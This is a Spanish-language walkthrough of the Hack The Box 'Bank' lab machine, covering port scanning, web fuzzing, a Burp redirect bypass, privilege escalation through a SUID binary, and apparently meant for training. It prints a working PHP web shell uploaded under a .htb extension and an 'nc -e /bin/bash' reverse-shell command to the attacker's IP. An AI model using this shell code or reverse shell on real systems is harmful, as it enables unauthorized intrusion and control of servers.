Post

Hack The Box Bank

Bank

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.29.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.29
PING 10.10.10.29 (10.10.10.29) 56(84) bytes of data.
64 bytes from 10.10.10.29: icmp_seq=1 ttl=63 time=132 ms

--- 10.10.10.29 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 132.094/132.094/132.094/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -p- --open -T5 -v -n 10.10.10.29 -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-28 12:03 CST
Initiating Ping Scan at 12:03
Scanning 10.10.10.29 [4 ports]
Completed Ping Scan at 12:03, 0.16s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:03
Scanning 10.10.10.29 [65535 ports]
Discovered open port 22/tcp on 10.10.10.29
Discovered open port 53/tcp on 10.10.10.29
Discovered open port 80/tcp on 10.10.10.29
Completed SYN Stealth Scan at 12:03, 35.63s elapsed (65535 total ports)
Nmap scan report for 10.10.10.29
Host is up (0.13s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 35.91 seconds
           Raw packets sent: 67798 (2.983MB) | Rcvd: 67772 (2.711MB)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
12
❯ extractPorts allPorts
───────┬─────────────────────────────────────
       │ File: extractPorts.tmp
       │ Size: 119 B
───────┼─────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.29
   5   │     [*] Open ports: 22,53,80
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -sCV -p22,53,80 10.10.10.29 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-28 12:04 CST
Nmap scan report for 10.10.10.29
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.63 seconds

Vemos el puerto 80 abierto, por lo que antes de visualizar el contenido vía web, vamos a ver a lo que nos enfrentamos con whatweb:

1
2
❯ whatweb http://10.10.10.29/
http://10.10.10.29/ [200 OK] Apache[2.4.7], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.10.29], Title[Apache2 Ubuntu Default Page: It works]

Vemos que nos encontramos con la página default de Apache2. Algo que vemos es que se encuentra abierto el puerto 53, por lo que podríamos pensar que se está aplicando Virtual hosting; asi que dentro de nuestro archivo /etc/hosts vamos a agregar la dirección IP con el dominio bank.htb y cargar la página bajo dicho dominio a ver si vemos otra cosa.

""

Nos encontramos con un panel de login en el cual podríamos tratar de hace inyecciones SQL, Padding Oracle Attack, fuerza bruta, etc. Sin embargo, no nos va a funcionar. Algo que podemos notar es que se tiene el recurso login.php; por lo tanto podríamos tratar de descubrir más recursos de extensión php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ wfuzz -c --hc=404 --hh=7322 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bank.htb/FUZZ.php
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bank.htb/FUZZ.php
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                         
=====================================================================

000000014:   403        10 L     30 W       279 Ch      "http://bank.htb/.php"                                          
000000053:   200        51 L     125 W      1974 Ch     "login"                                                         
000000055:   302        83 L     186 W      3291 Ch     "support"                                                       
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 7.929055
Processed Requests: 374
Filtered Requests: 371
Requests/sec.: 47.16829

Vemos el recurso support.php que tiene un código de estado 302, así que aplicaremos el parámetro -L para ver a donde nos redirige.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ wfuzz -c -L --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bank.htb/FUZZ.php
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bank.htb/FUZZ.php
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                         
=====================================================================

000000001:   200        51 L     125 W      1974 Ch     "# directory-list-2.3-medium.txt"                               
000000003:   200        51 L     125 W      1974 Ch     "# Copyright 2007 James Fisher"                                 
000000007:   200        51 L     125 W      1974 Ch     "# license, visit http://creativecommons.org/licenses/by-sa/3.0/
                                                        "                                                               
000000015:   200        51 L     125 W      1974 Ch     "index"                                                         
000000014:   403        10 L     30 W       279 Ch      "http://bank.htb/.php"                                          
000000013:   200        51 L     125 W      1974 Ch     "#"                                                             
000000012:   200        51 L     125 W      1974 Ch     "# on atleast 2 different hosts"                                
000000002:   200        51 L     125 W      1974 Ch     "#"                                                             
000000011:   200        51 L     125 W      1974 Ch     "# Priority ordered case sensative list, where entries were foun
                                                        d"                                                              
000000010:   200        51 L     125 W      1974 Ch     "#"                                                             
000000009:   200        51 L     125 W      1974 Ch     "# Suite 300, San Francisco, California, 94105, USA."           
000000008:   200        51 L     125 W      1974 Ch     "# or send a letter to Creative Commons, 171 Second Street,"    
000000006:   200        51 L     125 W      1974 Ch     "# Attribution-Share Alike 3.0 License. To view a copy of this" 
000000005:   200        51 L     125 W      1974 Ch     "# This work is licensed under the Creative Commons"            
000000004:   200        51 L     125 W      1974 Ch     "#"                                                             
000000053:   200        51 L     125 W      1974 Ch     "login"                                                         
000000055:   200        51 L     125 W      1974 Ch     "support"                                                       
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 8.147257
Processed Requests: 373
Filtered Requests: 356
Requests/sec.: 45.78227

Si nos fijamos en la cantidad de caracteres del recurso support.php con login.php vemos que son lo mismo; por lo que es posible que support.php nos redirija a login.php y lo podemos comprar vía web. Aquí lo que nos importa es ver el contenido de support.php, así que vamos a hacer uso de la herramienta curl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
❯ curl -s http://bank.htb/login.php
                                                                                                                                 
<!DOCTYPE html>       
<html>                                                                                                                           
  <head>           
    <title>HTB Bank - Login</title>                                                                                              
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Bootstrap -->   
    <link href="./assets/css/bootstrap.min.css" rel="stylesheet">
    <!-- styles -->           
    <link href="./assets/css/theme/styles.css" rel="stylesheet"> 
  </head>                                                       
  <body class="login-bg">    
    <div class="header">                                        
       <div class="container">                                  
          <div class="row">
             <div class="col-md-12">
                <!-- Logo -->
                <div class="logo">
                   <h1><a href="index.html">HTB Bank</a></h1>
                </div>
             </div>                                             
          </div>     
       </div>                                                   
  </div>                                                        
                                
  <div class="page-content container">      
    <div class="row">                                           
      <div class="col-md-4 col-md-offset-4">                                                                                     
        <div class="login-wrapper">                                                                                              
              <div class="box">                                                                                                  
                  <div class="content-wrap">
                      <h6>Login</h6>                                                                                             
                                            <form method="post" action>
                        <input class="form-control" type="text" name="inputEmail" placeholder="E-mail address" required>
                        <input class="form-control" type="password" name="inputPassword" placeholder="Password" required>
                        <div class="action">
                            <input class="btn btn-primary signup" type="submit" name="submit" />
                        </div>
                      </form>                 
                  </div>
              </div>                                                                                                             
          </div>                                                
      </div>                                                                                                                     
    </div>                                                      
  </div>
    <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
    <script src="https://code.jquery.com/jquery.js"></script>
    <!-- Include all compiled plugins (below), or include individual files as needed -->
    <script src="./assets/js/js/bootstrap.min.js"></script>
    <script src="./assets/js/theme/custom.js"></script>
  </body>
</html>#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
❯ curl -s http://bank.htb/support.php                                                                                            
                                
<div class="col-sm-5">                                          
    <div class="panel panel-primary">                                                                                                    <div class="panel-heading">
            <h3 style="font-size: 20px;">My Tickets</h3>                                                                         
        </div>                                                  
        <div class="panel-body">                                                                                                                     <div class="content-box-large">                                                                                                      <div class="panel-body">                                                                                 
                            <table class="table table-bordered"> 
                                <thead>       
                                    <tr>                                                                                         
                                        <th>#</th>
                                        <th>Title</th>
                                        <th>Message</th>                                                                                                                 <th>Attachment</th>                                                                      
                                        <th>Actions</th>
                                    </tr>
                                </thead>
                                <tbody>
                                                                </tbody>
                            </table>
                        </div>
                    </div>
                </div>
    </div>                     
</div>
<!-- New Ticket -->
<div class="col-sm-5">
    <section class="panel">
                                
        <div class="panel-body">                 
            <form class="new_ticket" id="new_ticket" accept-charset="UTF-8" method="post" enctype="multipart/form-data">
                                                                
                <label>Title</label>                    
                <input required placeholder="Title" class="form-control" type="text" name="title" id="ticket_title" style="backgr
ound-repeat: repeat; background-image: none; background-position: 0% 0%;">
                <br>                                                                                                             
                                                                                                                                 
                <label>Message</label>                                                                                           
                <textarea required placeholder="Tell us your problem" class="form-control" style="height: 170px; background-repea
t: repeat; background-image: none; background-position: 0% 0%;" name="message" id="ticket_message"></textarea>
                <br>                                            
                <div style="position:relative;">
                                <!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
                                        <a class='btn btn-primary' href='javascript:;'>
                                            Choose File...
                                            <input type="file" required style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="fileToUpload" size="40"  onchange='$("#upload-file-info").html($(this).val().replace("C:\\fakepath\\", ""));'>
                                        </a>
                                        &nbsp;
                                        <span class='label label-info' id="upload-file-info"></span>
                                </div>
                                <br>
                <button name="submitadd" type="submit" class="btn btn-primary mt20" data-disable-with="<div class=&quot;loading-o&quot; style=&quot;padding: 7px 21px;&quot;></div>">Submit</button>
            </form>

        </div>

    </section>

</div>

        </div>
        <!-- /#page-wrapper -->

    </div>
    <!-- /#wrapper -->

    <!-- jQuery -->
    <script src="./assets/js/jquery.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="./assets/js/bootstrap.min.js"></script>

    <!-- Morris Charts JavaScript -->
    <script src="./assets/js/plugins/morris/raphael.min.js"></script>
    <script src="./assets/js/plugins/morris/morris.min.js"></script>
    <script src="./assets/js/plugins/morris/morris-data.js"></script>

    <!-- SweetAlert -->
    <script src="./assets/js/sweetalert.min.js"></script>

</body>

</html>

Vemos que las respuestas son diferentes y además, si ponemos ojo de lince, tenemos lo siguiente <!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] --> en la respuesta de support.php. Aquí nos indica que para ejecutar un archivo php debemos de cambiar la extensión a htb. Para poder visualizar el contenido de support.php sin que nos aplique el redirect vamos a hacer uso de Burp Suite.

En la herramienta vamos a declarar realizar las siguientes configuraciones:

  • Declarar el scope: http://bank.htb/

""

  • Match and Replace: Cambiar el código de estado 302 Found por 200 Ok.

""

Con esto y con ayuda del pluggin Foxy Proxy apuntando al Burp Suite vamos a tratar de ingresar al recurso support.php sin capturar la petición y nos debería aparecer lo siguiente:

""

Ahora, vamos a crear un nuevo ticket y subir un archivo php con extensión htb con el cual podamos hacer ejecución de comandos, para este caso lo llamaremos k4mishell.htb.

1
2
3
<?php
  echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"
?>

""

Le damos click en Click Here y nos lleva a nuestro archivo bajo el recurso /uploads y vemos que podemos ejecutar comandos a nivel de sistema.

""

Ahora vamos a ponernos en escucha por el puerto 443 y vamos a entablarnos una reverse shell.

1
http://bank.htb/uploads/k4mishell.htb?cmd=nohup nc -e /bin/bash 10.10.14.27 443 &
1
2
3
4
5
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.29] 42698
whoami
www-data

Para trabajar más comodos vamos a hacer un Tratamiento de la tty y vemos que podemos visualizar la flag (user.txt); por lo tanto vamos a enumerar un poco el sistema para ver de que forma nos podemos convertir en root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@bank:/home/chris$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bank:/home/chris$ sudo -l
[sudo] password for www-data: 
www-data@bank:/home/chris$ cd /
www-data@bank:/$ find \-perm -4000 2>/dev/null
./var/htb/bin/emergency
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/bin/at
./usr/bin/chsh
./usr/bin/passwd
./usr/bin/chfn
./usr/bin/pkexec
./usr/bin/newgrp
./usr/bin/traceroute6.iputils
./usr/bin/gpasswd
./usr/bin/sudo
./usr/bin/mtr
./usr/sbin/uuidd
./usr/sbin/pppd
./bin/ping
./bin/ping6
./bin/su
./bin/fusermount
./bin/mount
./bin/umount
www-data@bank:/$

Nos encontramos con el binario /var/htb/bin/emergency el cual tiene permisos SUID, por lo tanto vamos a probar a ejecutarlo a ver que pasa.

1
2
3
4
www-data@bank:/$ /var/htb/bin/emergency
# whoami
root
# 

Ya somos el usuario root y podemos visualizar la flag (root.txt). Si le aplicamos un strings al binario, vemos que podría hacer multiples cosas y una cadena imprimible en donde se observa /bin/sh, que es lo que nos despliega al ejecutarlo.

This post is licensed under CC BY 4.0 by the author.